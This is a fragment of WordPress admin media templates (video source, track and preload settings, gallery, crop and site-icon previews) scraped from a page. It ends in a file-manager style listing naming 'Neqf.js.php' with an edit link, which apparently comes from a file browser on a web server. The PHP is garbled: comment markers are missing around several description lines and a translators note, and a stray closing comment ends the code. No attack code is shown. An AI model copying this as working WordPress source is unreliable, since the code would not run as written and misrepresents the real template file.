class="embed-media-settings embed-video-settings"> <div class="wp-video-holder"> <# var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width, h = ! data.model.height ? 360 : data.model.height; if ( data.model.width && w !== data.model.width ) { h = Math.ceil( ( h * w ) / data.model.width ); } #> <?php wp_underscore_video_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="video-details-source" class="name"><?php _e( 'URL' ); ?></label> <input type="text" id="video-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button> </span> <# } #> <?php foreach ( $video_types as $type ) : ?> <# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) { delete html5types.<?php echo $type; ?>; } #> <span class="setting"> <label for="video-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label> <input type="text" id="video-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button> </span> <# } #> <?php endforeach ?> </div> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <# if ( ! _.isEmpty( data.model.poster ) ) { #> <span class="setting"> <label for="video-details-poster-image" class="name"><?php _e( 'Poster Image' ); ?></label> <input type="text" id="video-details-poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" /> <button type="button" class="button-link remove-setting"><?php _e( 'Remove poster image' ); ?></button> </span> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e( 'Preload' ); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button> <button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button> <button class="button active" value="none"><?php _e( 'None' ); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="video-details-autoplay" data-setting="autoplay" /> <label for="video-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="video-details-loop" data-setting="loop" /> <label for="video-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label> </span> </span> <span class="setting" data-setting="content"> <# var content = ''; if ( ! _.isEmpty( data.model.content ) ) { var tracks = jQuery( data.model.content ).filter( 'track' ); _.each( tracks.toArray(), function( track, index ) { content += track.outerHTML; #> <label for="video-details-track-{{ index }}" class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></label> <input class="content-track" type="text" id="video-details-track-{{ index }}" aria-describedby="video-details-track-desc-{{ index }}" value="{{ track.outerHTML }}" /> <span class="description" id="video-details-track-desc-{{ index }}"> <?php printf( translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3: "kind" HTML attribute. __( 'The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind.' ), 'srclang', 'label', 'kind' ); ?> </span> <button type="button" class="button-link remove-setting remove-track"><?php _ex( 'Remove video track', 'media' ); ?></button><br/> <# } ); #> <# } else { #> <span class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span><br /> <em><?php _e( 'There are no associated subtitles.' ); ?></em> <# } #> <textarea class="hidden content-setting">{{ content }}</textarea> </span> </div> </div> </script> <?php Template for a Gallery within the editor. ?> <script type="text/html" id="tmpl-editor-gallery"> <# if ( data.attachments.length ) { #> <div class="gallery gallery-columns-{{ data.columns }}"> <# _.each( data.attachments, function( attachment, index ) { #> <dl class="gallery-item"> <dt class="gallery-icon"> <# if ( attachment.thumbnail ) { #> <img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="{{ attachment.alt }}" /> <# } else { #> <img src="{{ attachment.url }}" alt="{{ attachment.alt }}" /> <# } #> </dt> <# if ( attachment.caption ) { #> <dd class="wp-caption-text gallery-caption"> {{{ data.verifyHTML( attachment.caption ) }}} </dd> <# } #> </dl> <# if ( index % data.columns === data.columns - 1 ) { #> <br style="clear: both;"> <# } #> <# } ); #> </div> <# } else { #> <div class="wpview-error"> <div class="dashicons dashicons-format-gallery"></div><p><?php _e( 'No items found.' ); ?></p> </div> <# } #> </script> <?php Template for the Crop area layout, used for example in the Customizer. ?> <script type="text/html" id="tmpl-crop-content"> <img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e( 'Image crop area preview. Requires mouse interaction.' ); ?>"> <div class="upload-errors"></div> </script> <?php Template for the Site Icon preview, used for example in the Customizer. ?> <script type="text/html" id="tmpl-site-icon-preview"> <h2><?php _e( 'Preview' ); ?></h2> <strong aria-hidden="true"><?php _e( 'As a browser icon' ); ?></strong> <div class="favicon-preview"> <img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" height="" alt="" /> <div class="favicon"> <img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>"/> </div> <span class="browser-title" aria-hidden="true"><# print( '<?php bloginfo( 'name' ); ?>' ) #></span> </div> <strong aria-hidden="true"><?php _e( 'As an app icon' ); ?></strong> <div class="app-icon-preview"> <img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>"/> </div> </script> <?php * * Fires when the custom Backbone media templates are printed. * * @since 3.5.0 do_action( 'print_media_templates' ); } */
[+]
..
[-] Neqf.js.php
[edit]